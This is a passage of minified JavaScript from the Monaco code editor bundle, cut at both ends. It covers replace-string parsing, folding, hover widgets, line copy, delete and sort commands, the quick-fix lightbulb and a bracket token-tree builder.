e.prototype.emitUnchanged=function(e){this._emitStatic(this._source.substring(this._lastCharIndex,e)),this._lastCharIndex=e},e.prototype.emitStatic=function(e,t){this._emitStatic(e),this._lastCharIndex=t},e.prototype._emitStatic=function(e){0!==e.length&&(this._currentStaticPiece+=e)},e.prototype.emitMatchIndex=function(e,t){0!==this._currentStaticPiece.length&&(this._result[this._resultLen++]=i.staticValue(this._currentStaticPiece),this._currentStaticPiece=\"\"),this._result[this._resultLen++]=i.matchIndex(e),this._lastCharIndex=t},e.prototype.finalize=function(){return this.emitUnchanged(this._source.length),0!==this._currentStaticPiece.length&&(this._result[this._resultLen++]=i.staticValue(this._currentStaticPiece),this._currentStaticPiece=\"\"),new n(this._result)},e}();t.parseReplaceString=function(e){if(!e||0===e.length)return new n(null);for(var t=new o(e),i=0,r=e.length;i<r;i++){var s=e.charCodeAt(i);if(92!==s){if(36===s){if(++i>=r)break;var a=e.charCodeAt(i);if(36===a){t.emitUnchanged(i-1),t.emitStatic(\"$\",i+1);continue}if(48===a||38===a){t.emitUnchanged(i-1),t.emitMatchIndex(0,i+1);continue}if(49<=a&&a<=57){var u=a-48;if(i+1<r){var l=e.charCodeAt(i+1);if(48<=l&&l<=57){i++,u=10*u+(l-48),t.emitUnchanged(i-2),t.emitMatchIndex(u,i+1);continue}}t.emitUnchanged(i-1),t.emitMatchIndex(u,i+1);continue}}}else{if(++i>=r)break;switch(a=e.charCodeAt(i)){case 92:t.emitUnchanged(i-1),t.emitStatic(\"\\\\\",i+1);break;case 110:t.emitUnchanged(i-1),t.emitStatic(\"\\n\",i+1);break;case 116:t.emitUnchanged(i-1),t.emitStatic(\"\\t\",i+1)}}}return t.finalize()}}),define(d[256],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.ID=\"editor.contrib.folding\"}),define(d[257],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.computeRanges=function(e){return e.getIndentRanges()},t.limitByIndent=function(e,t){if(e.length<=t)return e;var n=[];e.forEach(function(e){e.indent<1e3&&(n[e.indent]=(n[e.indent]||0)+1)});for(var i=n.length,o=0;o<n.length;o++)if(n[o]&&(t-=n[o])<0){i=o;break}return e.filter(function(e){return e.indent<i})}}),define(d[258],h([1,0,9,2]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(e,t){this._initialSelection=t,this._edits=[],this._newEol=void 0;for(var n=0,i=e;n<i.length;n++){var o=i[n];\"number\"==typeof o.eol&&(this._newEol=o.eol),o.range&&\"string\"==typeof o.text&&this._edits.push(o)}}return e.execute=function(t,n){var i=new e(n,t.getSelection());\"number\"==typeof i._newEol&&t.getModel().setEOL(i._newEol),t.pushUndoStop(),t.executeCommand(\"formatEditsCommand\",i),t.pushUndoStop()},e.prototype.getEditOperations=function(t,n){for(var o=0,r=this._edits;o<r.length;o++){var s=r[o];null!==e.trimEdit(s,t)&&n.addEditOperation(i.Range.lift(s.range),s.text)}var a=!1;Array.isArray(this._edits)&&1===this._edits.length&&this._initialSelection.isEmpty()&&(this._edits[0].range.startColumn===this._initialSelection.endColumn&&this._edits[0].range.startLineNumber===this._initialSelection.endLineNumber?(a=!0,this._selectionId=n.trackSelection(this._initialSelection,!0)):this._edits[0].range.endColumn===this._initialSelection.startColumn&&this._edits[0].range.endLineNumber===this._initialSelection.startLineNumber&&(a=!0,this._selectionId=n.trackSelection(this._initialSelection,!1))),a||(this._selectionId=n.trackSelection(this._initialSelection))},e.prototype.computeCursorState=function(e,t){return t.getTrackedSelection(this._selectionId)},e.fixLineTerminators=function(e,t){e.text=e.text.replace(/\\r\\n|\\r|\\n/g,t.getEOL())},e.trimEdit=function(e,t){return this.fixLineTerminators(e,t),this._trimEdit(t.validateRange(e.range),e.text,e.forceMoveMarkers,t)},e._trimEdit=function(e,t,o,r){var s=r.getValueInRange(e),a=n.commonPrefixLength(t,s);if(a===s.length&&a===t.length)return null;if(a>0){var u=r.modifyPosition(e.getStartPosition(),a);e=new i.Range(u.lineNumber,u.column,e.endLineNumber,e.endColumn),t=t.substring(a),s=s.substr(a)}var l=n.commonSuffixLength(t,s);if(l>0){var c=r.modifyPosition(e.getEndPosition(),-l);e=new i.Range(e.startLineNumber,e.startColumn,c.lineNumber,c.column),t=t.substring(0,t.length-l),s=s.substring(0,s.length-l)}return{text:t,range:e,forceMoveMarkers:o}},e}();t.EditOperationsCommand=o}),define(d[192],h([1,0,28,3,11,15,171]),function(e,t,n,i,o,r){\"use strict\";function s(e,t){return!!e[t]}function a(e){return\"altKey\"===e?r.isMacintosh?new c(57,\"metaKey\",6,\"altKey\"):new c(5,\"ctrlKey\",6,\"altKey\"):r.isMacintosh?new c(6,\"altKey\",57,\"metaKey\"):new c(6,\"altKey\",5,\"ctrlKey\")}Object.defineProperty(t,\"__esModule\",{value:!0});var u=function(){return function(e,t){this.target=e.target,this.hasTriggerModifier=s(e.event,t.triggerModifier),this.hasSideBySideModifier=s(e.event,t.triggerSideBySideModifier),this.isNoneOrSingleMouseDown=n.isIE||e.event.detail<=1}}();t.ClickLinkMouseEvent=u;var l=function(){return function(e,t){this.keyCodeIsTriggerKey=e.keyCode===t.triggerKey,this.keyCodeIsSideBySideKey=e.keyCode===t.triggerSideBySideKey,this.hasTriggerModifier=s(e,t.triggerModifier)}}();t.ClickLinkKeyboardEvent=l;var c=function(){function e(e,t,n,i){this.triggerKey=e,this.triggerModifier=t,this.triggerSideBySideKey=n,this.triggerSideBySideModifier=i}return e.prototype.equals=function(e){return this.triggerKey===e.triggerKey&&this.triggerModifier===e.triggerModifier&&this.triggerSideBySideKey===e.triggerSideBySideKey&&this.triggerSideBySideModifier===e.triggerSideBySideModifier},e}();t.ClickLinkOptions=c;var d=function(e){function t(t){var n=e.call(this)||this;return n._onMouseMoveOrRelevantKeyDown=n._register(new o.Emitter),n.onMouseMoveOrRelevantKeyDown=n._onMouseMoveOrRelevantKeyDown.event,n._onExecute=n._register(new o.Emitter),n.onExecute=n._onExecute.event,n._onCancel=n._register(new o.Emitter),n.onCancel=n._onCancel.event,n._editor=t,n._opts=a(n._editor.getConfiguration().multiCursorModifier),n.lastMouseMoveEvent=null,n.hasTriggerKeyOnMouseDown=!1,n._register(n._editor.onDidChangeConfiguration(function(e){if(e.multiCursorModifier){var t=a(n._editor.getConfiguration().multiCursorModifier);if(n._opts.equals(t))return;n._opts=t,n.lastMouseMoveEvent=null,n.hasTriggerKeyOnMouseDown=!1,n._onCancel.fire()}})),n._register(n._editor.onMouseMove(function(e){return n.onEditorMouseMove(new u(e,n._opts))})),n._register(n._editor.onMouseDown(function(e){return n.onEditorMouseDown(new u(e,n._opts))})),n._register(n._editor.onMouseUp(function(e){return n.onEditorMouseUp(new u(e,n._opts))})),n._register(n._editor.onKeyDown(function(e){return n.onEditorKeyDown(new l(e,n._opts))})),n._register(n._editor.onKeyUp(function(e){return n.onEditorKeyUp(new l(e,n._opts))})),n._register(n._editor.onMouseDrag(function(){return n.resetHandler()})),n._register(n._editor.onDidChangeCursorSelection(function(e){return n.onDidChangeCursorSelection(e)})),n._register(n._editor.onDidChangeModel(function(e){return n.resetHandler()})),n._register(n._editor.onDidChangeModelContent(function(){return n.resetHandler()})),n._register(n._editor.onDidScrollChange(function(e){(e.scrollTopChanged||e.scrollLeftChanged)&&n.resetHandler()})),n}return f(t,e),t.prototype.onDidChangeCursorSelection=function(e){e.selection&&e.selection.startColumn!==e.selection.endColumn&&this.resetHandler()},t.prototype.onEditorMouseMove=function(e){this.lastMouseMoveEvent=e,this._onMouseMoveOrRelevantKeyDown.fire([e,null])},t.prototype.onEditorMouseDown=function(e){this.hasTriggerKeyOnMouseDown=e.hasTriggerModifier},t.prototype.onEditorMouseUp=function(e){this.hasTriggerKeyOnMouseDown&&this._onExecute.fire(e)},t.prototype.onEditorKeyDown=function(e){this.lastMouseMoveEvent&&(e.keyCodeIsTriggerKey||e.keyCodeIsSideBySideKey&&e.hasTriggerModifier)?this._onMouseMoveOrRelevantKeyDown.fire([this.lastMouseMoveEvent,e]):e.hasTriggerModifier&&this._onCancel.fire()},t.prototype.onEditorKeyUp=function(e){e.keyCodeIsTriggerKey&&this._onCancel.fire()},t.prototype.resetHandler=function(){this.lastMouseMoveEvent=null,this.hasTriggerKeyOnMouseDown=!1,this._onCancel.fire()},t}(i.Disposable);t.ClickLinkGesture=d}),define(d[195],h([1,0,18,10]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o;!function(e){e[e.IDLE=0]=\"IDLE\",e[e.FIRST_WAIT=1]=\"FIRST_WAIT\",e[e.SECOND_WAIT=2]=\"SECOND_WAIT\",e[e.WAITING_FOR_ASYNC_COMPUTATION=3]=\"WAITING_FOR_ASYNC_COMPUTATION\"}(o||(o={}));var r=function(){function e(e,t,i,o){var r=this;this._computer=e,this._state=0,this._firstWaitScheduler=new n.RunOnceScheduler(function(){return r._triggerAsyncComputation()},this._getHoverTimeMillis()/2),this._secondWaitScheduler=new n.RunOnceScheduler(function(){return r._triggerSyncComputation()},this._getHoverTimeMillis()/2),this._loadingMessageScheduler=new n.RunOnceScheduler(function(){return r._showLoadingMessage()},3*this._getHoverTimeMillis()),this._asyncComputationPromise=null,this._asyncComputationPromiseDone=!1,this._completeCallback=t,this._errorCallback=i,this._progressCallback=o}return e.prototype.getComputer=function(){return this._computer},e.prototype._getHoverTimeMillis=function(){return this._computer.getHoverTimeMillis?this._computer.getHoverTimeMillis():e.HOVER_TIME},e.prototype._triggerAsyncComputation=function(){var e=this;this._state=2,this._secondWaitScheduler.schedule(),this._computer.computeAsync?(this._asyncComputationPromiseDone=!1,this._asyncComputationPromise=this._computer.computeAsync().then(function(t){e._asyncComputationPromiseDone=!0,e._withAsyncResult(t)},function(){return e._onError})):this._asyncComputationPromiseDone=!0},e.prototype._triggerSyncComputation=function(){this._computer.computeSync&&this._computer.onResult(this._computer.computeSync(),!0),this._asyncComputationPromiseDone?(this._state=0,this._onComplete(this._computer.getResult())):(this._state=3,this._onProgress(this._computer.getResult()))},e.prototype._showLoadingMessage=function(){3===this._state&&this._onProgress(this._computer.getResultWithLoadingMessage())},e.prototype._withAsyncResult=function(e){e&&this._computer.onResult(e,!1),3===this._state&&(this._state=0,this._onComplete(this._computer.getResult()))},e.prototype._onComplete=function(e){this._completeCallback&&this._completeCallback(e)},e.prototype._onError=function(e){this._errorCallback?this._errorCallback(e):i.onUnexpectedError(e)},e.prototype._onProgress=function(e){this._progressCallback&&this._progressCallback(e)},e.prototype.start=function(){0===this._state&&(this._state=1,this._firstWaitScheduler.schedule(),this._loadingMessageScheduler.schedule())},e.prototype.cancel=function(){this._loadingMessageScheduler.cancel(),1===this._state&&this._firstWaitScheduler.cancel(),2===this._state&&(this._secondWaitScheduler.cancel(),this._asyncComputationPromise&&(this._asyncComputationPromise.cancel(),this._asyncComputationPromise=null)),3===this._state&&this._asyncComputationPromise&&(this._asyncComputationPromise.cancel(),this._asyncComputationPromise=null),this._state=0},e.HOVER_TIME=300,e}();t.HoverOperation=r}),define(d[196],h([1,0,4,12,25,41,63,3]),function(e,t,n,i,o,r,s,a){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var u=function(e){function t(t,n){var i=e.call(this)||this;return i.disposables=[],i.allowEditorOverflow=!0,i._id=t,i._editor=n,i._isVisible=!1,i._containerDomNode=document.createElement(\"div\"),i._containerDomNode.className=\"monaco-editor-hover hidden\",i._containerDomNode.tabIndex=0,i._domNode=document.createElement(\"div\"),i._domNode.className=\"monaco-editor-hover-content\",i.scrollbar=new s.DomScrollableElement(i._domNode,{}),i.disposables.push(i.scrollbar),i._containerDomNode.appendChild(i.scrollbar.getDomNode()),i.onkeydown(i._containerDomNode,function(e){e.equals(9)&&i.hide()}),i._register(i._editor.onDidChangeConfiguration(function(e){e.fontInfo&&i.updateFont()})),i._editor.onDidLayoutChange(function(e){return i.updateMaxHeight()}),i.updateMaxHeight(),i._editor.addContentWidget(i),i._showAtPosition=null,i}return f(t,e),Object.defineProperty(t.prototype,\"isVisible\",{get:function(){return this._isVisible},set:function(e){this._isVisible=e,n.toggleClass(this._containerDomNode,\"hidden\",!this._isVisible)},enumerable:!0,configurable:!0}),t.prototype.getId=function(){return this._id},t.prototype.getDomNode=function(){return this._containerDomNode},t.prototype.showAt=function(e,t){this._showAtPosition=new i.Position(e.lineNumber,e.column),this.isVisible=!0,this._editor.layoutContentWidget(this),this._editor.render(),this._stoleFocus=t,t&&this._containerDomNode.focus()},t.prototype.hide=function(){this.isVisible&&(this.isVisible=!1,this._editor.layoutContentWidget(this),this._stoleFocus&&this._editor.focus())},t.prototype.getPosition=function(){return this.isVisible?{position:this._showAtPosition,preference:[o.ContentWidgetPositionPreference.ABOVE,o.ContentWidgetPositionPreference.BELOW]}:null},t.prototype.dispose=function(){this._editor.removeContentWidget(this),this.disposables=a.dispose(this.disposables),e.prototype.dispose.call(this)},t.prototype.updateFont=function(){var e=this,t=Array.prototype.slice.call(this._domNode.getElementsByTagName(\"code\")),n=Array.prototype.slice.call(this._domNode.getElementsByClassName(\"code\"));t.concat(n).forEach(function(t){return e._editor.applyFontInfo(t)})},t.prototype.updateContents=function(e){this._domNode.textContent=\"\",this._domNode.appendChild(e),this.updateFont(),this._editor.layoutContentWidget(this),this.scrollbar.scanDomNode()},t.prototype.updateMaxHeight=function(){var e=Math.max(this._editor.getLayoutInfo().height/4,250),t=this._editor.getConfiguration().fontInfo,n=t.fontSize,i=t.lineHeight;this._domNode.style.fontSize=n+\"px\",this._domNode.style.lineHeight=i+\"px\",this._domNode.style.maxHeight=e+\"px\"},t}(r.Widget);t.ContentHoverWidget=u;var l=function(e){function t(t,n){var i=e.call(this)||this;return i._id=t,i._editor=n,i._isVisible=!1,i._domNode=document.createElement(\"div\"),i._domNode.className=\"monaco-editor-hover hidden\",i._domNode.setAttribute(\"aria-hidden\",\"true\"),i._domNode.setAttribute(\"role\",\"presentation\"),i._showAtLineNumber=-1,i._register(i._editor.onDidChangeConfiguration(function(e){e.fontInfo&&i.updateFont()})),i._editor.addOverlayWidget(i),i}return f(t,e),Object.defineProperty(t.prototype,\"isVisible\",{get:function(){return this._isVisible},set:function(e){this._isVisible=e,n.toggleClass(this._domNode,\"hidden\",!this._isVisible)},enumerable:!0,configurable:!0}),t.prototype.getId=function(){return this._id},t.prototype.getDomNode=function(){return this._domNode},t.prototype.showAt=function(e){this._showAtLineNumber=e,this.isVisible||(this.isVisible=!0);var t=this._editor.getLayoutInfo(),n=this._editor.getTopForLineNumber(this._showAtLineNumber),i=this._editor.getScrollTop(),o=this._editor.getConfiguration().lineHeight,r=n-i-(this._domNode.clientHeight-o)/2;this._domNode.style.left=t.glyphMarginLeft+t.glyphMarginWidth+\"px\",this._domNode.style.top=Math.max(Math.round(r),0)+\"px\"},t.prototype.hide=function(){this.isVisible&&(this.isVisible=!1)},t.prototype.getPosition=function(){return null},t.prototype.dispose=function(){this._editor.removeOverlayWidget(this),e.prototype.dispose.call(this)},t.prototype.updateFont=function(){var e=this,t=Array.prototype.slice.call(this._domNode.getElementsByTagName(\"code\")),n=Array.prototype.slice.call(this._domNode.getElementsByClassName(\"code\"));t.concat(n).forEach(function(t){return e._editor.applyFontInfo(t)})},t.prototype.updateContents=function(e){this._domNode.textContent=\"\",this._domNode.appendChild(e),this.updateFont()},t}(r.Widget);t.GlyphHoverWidget=l}),define(d[262],h([1,0,22]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t,n){this._editRange=e,this._originalSelection=t,this._text=n}return e.prototype.getEditOperations=function(e,t){t.addTrackedEditOperation(this._editRange,this._text)},e.prototype.computeCursorState=function(e,t){var i=t.getInverseEditOperations()[0].range;return this._originalSelection.isEmpty()?new n.Selection(i.endLineNumber,Math.min(this._originalSelection.positionColumn,i.endColumn),i.endLineNumber,Math.min(this._originalSelection.positionColumn,i.endColumn)):new n.Selection(i.endLineNumber,i.endColumn-this._text.length,i.endLineNumber,i.endColumn)},e}();t.InPlaceReplaceCommand=i}),define(d[263],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.getSpaceCnt=function(e,t){for(var n=0,i=0;i<e.length;i++)\"\\t\"===e.charAt(i)?n+=t:n++;return n},t.generateIndent=function(e,t,n){e=e<0?0:e;var i=\"\";if(!n){var o=Math.floor(e/t);for(e%=t,r=0;r<o;r++)i+=\"\\t\"}for(var r=0;r<e;r++)i+=\" \";return i}}),define(d[264],h([1,0,2,22]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(e,t){this._selection=e,this._isCopyingDown=t}return e.prototype.getEditOperations=function(e,t){var i=this._selection;this._startLineNumberDelta=0,this._endLineNumberDelta=0,i.startLineNumber<i.endLineNumber&&1===i.endColumn&&(this._endLineNumberDelta=1,i=i.setEndPosition(i.endLineNumber-1,e.getLineMaxColumn(i.endLineNumber-1)));for(var o=[],r=i.startLineNumber;r<=i.endLineNumber;r++)o.push(e.getLineContent(r));var s=o.join(\"\\n\");\"\"===s&&this._isCopyingDown&&(this._startLineNumberDelta++,this._endLineNumberDelta++),this._isCopyingDown?t.addEditOperation(new n.Range(i.startLineNumber,1,i.startLineNumber,1),s+\"\\n\"):t.addEditOperation(new n.Range(i.endLineNumber,e.getLineMaxColumn(i.endLineNumber),i.endLineNumber,e.getLineMaxColumn(i.endLineNumber)),\"\\n\"+s),this._selectionId=t.trackSelection(i),this._selectionDirection=this._selection.getDirection()},e.prototype.computeCursorState=function(e,t){var n=t.getTrackedSelection(this._selectionId);if(0!==this._startLineNumberDelta||0!==this._endLineNumberDelta){var o=n.startLineNumber,r=n.startColumn,s=n.endLineNumber,a=n.endColumn;0!==this._startLineNumberDelta&&(o+=this._startLineNumberDelta,r=1),0!==this._endLineNumberDelta&&(s+=this._endLineNumberDelta,a=1),n=i.Selection.createWithDirection(o,r,s,a,this._selectionDirection)}return n},e}();t.CopyLinesCommand=o}),define(d[265],h([1,0,2,22]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(e,t,n){this.startLineNumber=e,this.endLineNumber=t,this.restoreCursorToColumn=n}return e.createFromSelection=function(t){var n=t.endLineNumber;return t.startLineNumber<t.endLineNumber&&1===t.endColumn&&(n-=1),new e(t.startLineNumber,n,t.positionColumn)},e.prototype.getEditOperations=function(e,t){if(1!==e.getLineCount()||1!==e.getLineMaxColumn(1)){var i=this.startLineNumber,o=this.endLineNumber,r=1,s=e.getLineMaxColumn(o);o<e.getLineCount()?(o+=1,s=1):i>1&&(i-=1,r=e.getLineMaxColumn(i)),t.addTrackedEditOperation(new n.Range(i,r,o,s),null)}},e.prototype.computeCursorState=function(e,t){var n=t.getInverseEditOperations()[0].range;return new i.Selection(n.endLineNumber,this.restoreCursorToColumn,n.endLineNumber,this.restoreCursorToColumn)},e}();t.DeleteLinesCommand=o}),define(d[266],h([1,0,59,2]),function(e,t,n,i){\"use strict\";function o(e,t,n){var i=t.startLineNumber,o=t.endLineNumber;if(1===t.endColumn&&o--,i>=o)return null;for(var r=[],s=i;s<=o;s++)r.push(e.getLineContent(s));var a=r.slice(0);return a.sort(function(e,t){return e.toLowerCase().localeCompare(t.toLowerCase())}),!0===n&&(a=a.reverse()),{startLineNumber:i,endLineNumber:o,before:r,after:a}}function r(e,t,r){var s=o(e,t,r);return s?n.EditOperation.replace(new i.Range(s.startLineNumber,1,s.endLineNumber,e.getLineMaxColumn(s.endLineNumber)),s.after.join(\"\\n\")):null}Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(e,t){this.selection=e,this.descending=t}return e.prototype.getEditOperations=function(e,t){var n=r(e,this.selection,this.descending);n&&t.addEditOperation(n.range,n.text),this.selectionId=t.trackSelection(this.selection)},e.prototype.computeCursorState=function(e,t){return t.getTrackedSelection(this.selectionId)},e.canRun=function(e,t,n){var i=o(e,t,n);if(!i)return!1;for(var r=0,s=i.before.length;r<s;r++)if(i.before[r]!==i.after[r])return!0;return!1},e}();t.SortLinesCommand=s});var _=this&&this.__assign||Object.assign||function(e){for(var t,n=1,i=arguments.length;n<i;n++){t=arguments[n];for(var o in t)Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o])}return e};define(d[267],h([1,0,123,11,4,20,25,391]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){function e(e){var t=this;this._options={stickiness:r.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,glyphMarginClassName:\"lightbulb-glyph\",glyphMarginHoverMessage:void 0},this._onClick=new i.Emitter,this._decorationIds=[],this._futureFixes=new n.CancellationTokenSource,this._editor=e,this._mouseDownSubscription=this._editor.onMouseDown(function(e){if(e.target.type===s.MouseTargetType.GUTTER_GLYPH_MARGIN&&void 0!==t._currentLine&&t._currentLine===e.target.position.lineNumber){var n=o.getDomNodePagePosition(e.target.element),i=n.top,r=n.height,a=t._editor.getConfiguration().lineHeight;t._onClick.fire({x:e.event.posx,y:i+r+Math.floor(a/3)})}})}return e.prototype.dispose=function(){this._mouseDownSubscription.dispose(),this.hide()},Object.defineProperty(e.prototype,\"onClick\",{get:function(){return this._onClick.event},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"model\",{get:function(){return this._model},set:function(e){var t=this;this._model=e,this.hide(),this._futureFixes=new n.CancellationTokenSource;var i=this._futureFixes.token;e.fixes.done(function(n){!i.isCancellationRequested&&n&&n.length>0?t.show(e):t.hide()},function(e){t.hide()})},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"title\",{get:function(){return this._options.glyphMarginHoverMessage},set:function(e){},enumerable:!0,configurable:!0}),e.prototype.show=function(e){this._currentLine=e.range.startLineNumber,this._decorationIds=this._editor.deltaDecorations(this._decorationIds,[{options:this._options,range:_({},e.range,{endLineNumber:e.range.startLineNumber})}])},e.prototype.hide=function(){this._decorationIds=this._editor.deltaDecorations(this._decorationIds,[]),this._futureFixes.cancel(),this._currentLine=void 0},e}();t.LightBulbWidget=a}),define(d[268],h([1,0,18,4,12,53,11]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){function e(e,t,n){this._onDidExecuteCodeAction=new s.Emitter,this.onDidExecuteCodeAction=this._onDidExecuteCodeAction.event,this._editor=e,this._contextMenuService=t,this._commandService=n}return e.prototype.show=function(e,t){var i=this,s=e.then(function(e){return e.map(function(e){return new r.Action(e.id,e.title,void 0,!0,function(){return n.always((t=i._commandService).executeCommand.apply(t,[e.id].concat(e.arguments)),function(){return i._onDidExecuteCodeAction.fire(void 0)});var t})})});this._contextMenuService.showContextMenu({getAnchor:function(){return o.Position.isIPosition(t)&&(t=i._toCoords(t)),t},getActions:function(){return s},onHide:function(){i._visible=!1}})},Object.defineProperty(e.prototype,\"isVisible\",{get:function(){return this._visible},enumerable:!0,configurable:!0}),e.prototype._toCoords=function(e){this._editor.revealPosition(e),this._editor.render();var t=this._editor.getScrolledVisiblePosition(this._editor.getPosition()),n=i.getDomNodePagePosition(this._editor.getDomNode());return{x:n.left+t.left,y:n.top+t.top+t.height}},e}();t.QuickFixContextMenu=a}),define(d[269],h([1,0,2,91,98,43]),function(e,t,n,i,o,r){\"use strict\";function s(e){var t=new u;return t.start=e.range.getStartPosition(),t.end=e.range.getEndPosition(),t}function a(e,t){if(e instanceof l&&e.isEmpty)return null;if(!n.Range.containsPosition(e.range,t))return null;var i;if(e instanceof l){if(e.hasChildren)for(var o=0,r=e.children.length;o<r&&!i;o++)i=a(e.children[o],t)}else e instanceof c&&(i=a(e.open,t)||a(e.elements,t)||a(e.close,t));return i||e}Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.None=0]=\"None\",e[e.Open=1]=\"Open\",e[e.Close=-1]=\"Close\"}(t.TokenTreeBracket||(t.TokenTreeBracket={}));var u=function(){function e(){}return Object.defineProperty(e.prototype,\"range\",{get:function(){return new n.Range(this.start.lineNumber,this.start.column,this.end.lineNumber,this.end.column)},enumerable:!0,configurable:!0}),e}();t.Node=u;var l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),Object.defineProperty(t.prototype,\"start\",{get:function(){return this.hasChildren?this.children[0].start:this.parent.start},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"end\",{get:function(){return this.hasChildren?this.children[this.children.length-1].end:this.parent.end},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"hasChildren\",{get:function(){return this.children&&this.children.length>0},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"isEmpty\",{get:function(){return!this.hasChildren&&!this.parent},enumerable:!0,configurable:!0}),t.prototype.append=function(e){return!!e&&(e.parent=this,this.children||(this.children=[]),e instanceof t?e.children&&this.children.push.apply(this.children,e.children):this.children.push(e),!0)},t}(u);t.NodeList=l;var c=function(e){function t(){var t=e.call(this)||this;return t.elements=new l,t.elements.parent=t,t}return f(t,e),Object.defineProperty(t.prototype,\"start\",{get:function(){return this.open.start},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"end\",{get:function(){return this.close.end},enumerable:!0,configurable:!0}),t}(u);t.Block=c;var d=function(){return function(e,t,n){this.range=e,this.bracket=t,this.bracketType=n}}(),h=function(){return function(e,t,n){this.lineNumber=t,this.lineText=n,this.startOffset=e.startOffset,this.endOffset=e.endOffset,this.type=e.tokenType,this.languageId=e.languageId}}(),p=function(){function e(e){this._model=e,this._lineCount=this._model.getLineCount(),this._versionId=this._model.getVersionId(),this._lineNumber=0,this._lineText=null,this._advance()}return e.prototype._advance=function(){for(this._next=this._next?this._next.next():null;!this._next&&this._lineNumber<this._lineCount;){this._lineNumber++,this._lineText=this._model.getLineContent(this._lineNumber),this._model.forceTokenization(this._lineNumber);var e=this._model.getLineTokens(this._lineNumber);this._next=e.firstToken()}},e.prototype.next=function(){if(!this._next)return null;if(this._model.getVersionId()!==this._versionId)return null;var e=new h(this._next,this._lineNumber,this._lineText);return this._advance(),e},e}(),g=function(){function e(e){this._rawTokenScanner=new p(e),this._nextBuff=[],this._cachedLanguageBrackets=null,this._cachedLanguageId=-1}return e.prototype.next=function(){if(this._nextBuff.length>0)return this._nextBuff.shift();var e=this._rawTokenScanner.next();if(!e)return null;var t=e.lineNumber,s=e.lineText,a=e.type,u=e.startOffset,l=e.endOffset;this._cachedLanguageId!==e.languageId&&(this._cachedLanguageId=e.languageId,this._cachedLanguageBrackets=r.LanguageConfigurationRegistry.getBracketsSupport(this._cachedLanguageId));var c=this._cachedLanguageBrackets;if(!c||i.ignoreBracketsInToken(a))return new d(new n.Range(t,u+1,t,l+1),0,null);var h;do{if(h=o.BracketsUtils.findNextBracketInToken(c.forwardRegex,t,s,u,l)){var p=h.startColumn-1,f=h.endColumn-1;u<p&&this._nextBuff.push(new d(new n.Range(t,u+1,t,p+1),0,null));var g=s.substring(p,f);g=g.toLowerCase();var m=c.textIsBracket[g],v=c.textIsOpenBracket[g];this._nextBuff.push(new d(new n.Range(t,p+1,t,f+1),v?1:-1,m.languageIdentifier.language+\";\"+m.open+\";\"+m.close)),u=f}}while(h);return u<l&&this._nextBuff.push(new d(new n.Range(t,u+1,t,l+1),0,null)),this._nextBuff.shift()},e}(),m=function(){function e(e){this._stack=[],this._scanner=new g(e)}return e.prototype.build=function(){for(var e=new l;e.append(this._line()||this._any()););return e},e.prototype._accept=function(e){var t=this._stack.pop()||this._scanner.next();if(!t)return!1;var n=e(t);return n?this._currentToken=t:(this._stack.push(t),this._currentToken=null),n},e.prototype._peek=function(e){var t=!1;return this._accept(function(n){return t=e(n),!1}),t},e.prototype._line=function(){var e,t=new l;for(this._peek(function(t){return e=t.range.startLineNumber,!1});this._peek(function(t){return t.range.startLineNumber===e})&&t.append(this._token()||this._block()););return t.children&&0!==t.children.length?1===t.children.length?t.children[0]:t:null},e.prototype._token=function(){return this._accept(function(e){return 0===e.bracket})?s(this._currentToken):null},e.prototype._block=function(){var e;if(!this._accept(function(t){return e=t.bracketType,1===t.bracket}))return null;var t=new c;for(t.open=s(this._currentToken);t.elements.append(this._line()););if(!this._accept(function(t){return-1===t.bracket&&t.bracketType===e})){var n=new l;return n.append(t.open),n.append(t.elements),n}return t.close=s(this._currentToken),t},e.prototype._any=function(){return this._accept(function(e){return!0})?s(this._currentToken):null},e}();t.build=function(e){return new m(e).build()},t.find=a}),define(d[142],h([1,0]),function(e,t){\"use strict\";function n(e,t){for(var n=e.slice();n.length>0;){var i=n.shift();if(!t(i))break;n.unshift.apply(n,i.children)}}Object.defineProperty(t,\"__esModule\",{value:!0});var i;!function(e){e[e.Dollar=0]=\"Dollar\",e[e.Colon=1]=\"Colon\",e[e.Comma=2]=\"Comma\",e[e.CurlyOpen=3]=\"CurlyOpen\",e[e.CurlyClose=4]=\"CurlyClose\",e[e.Backslash=5]=\"Backslash\",e[e.Forwardslash=6]=\"Forwardslash\",e[e.Pipe=7]=\"Pipe\",e[e.Int=8]=\"Int\",e[e.VariableName=9]=\"VariableName\",e[e.Format=10]=\"Format\",e[e.EOF=11]=\"EOF\"}(i=t.TokenType||(t.TokenType={}));var o=function(){function e(){this.text(\"\")}return e.isDigitCharacter=function(e){return e>=48&&e<=57},e.isVariableCharacter=function(e){return 95===e||e>=97&&e<=122||e>=65&&e<=90},e.prototype.text=function(e){this.value=e,this.pos=0},e.prototype.tokenText=function(e){return this.value.substr(e.pos,e.len)},e.prototype.next=function(){if(this.pos>=this.value.length)return{type:i.EOF,pos:this.pos,len:0};var 